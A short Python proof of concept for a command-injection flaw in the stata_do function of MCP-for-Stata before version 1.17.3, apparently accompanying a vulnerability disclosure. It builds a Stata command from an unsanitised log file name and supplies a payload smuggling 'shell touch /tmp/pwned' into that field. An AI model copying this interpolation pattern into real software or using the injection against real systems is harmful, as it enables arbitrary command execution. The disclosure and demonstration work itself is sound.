Vulnerable code sample

import os

# This code represents the vulnerable logic in the `stata_do` function
# of MCP-for-Stata prior to version 1.17.3.
def create_stata_command(do_file_content, log_file_name):
    """
    Simulates the vulnerable command construction.
    A security guard (`GuardValidator`) would inspect `do_file_content`
    but, as per the CVE, would ignore the `log_file_name`.
    """

    # VULNERABILITY: The `log_file_name` parameter is directly interpolated
    # into the Stata command string without any sanitization.
    stata_command = f'log using "{log_file_name}", replace\n{do_file_content}\nlog close'

    # In the actual application, this command would be passed to a Stata process.
    # We print the command to demonstrate the successful injection.
    print(stata_command)


# Define a benign Stata script content.
safe_stata_script = "sysuse auto, clear\nsummarize mpg"

# An attacker crafts a malicious `log_file_name` to inject an arbitrary command.
# The payload does the following:
# 1. `"`: Closes the opening quote for the `log using` command.
# 2. `;`: Acts as a Stata command separator.
# 3. `shell touch /tmp/pwned`: Injects a shell command to create an empty file.
# 4. `;`: Another command separator.
# 5. `/*`: Starts a Stata block comment to neutralize the rest of the line.
malicious_injection_payload = '"; shell touch /tmp/pwned; /*'

# Demonstrate the vulnerability by calling the function with the malicious payload.
# The output will show the injected `shell` command.
create_stata_command(safe_stata_script, malicious_injection_payload)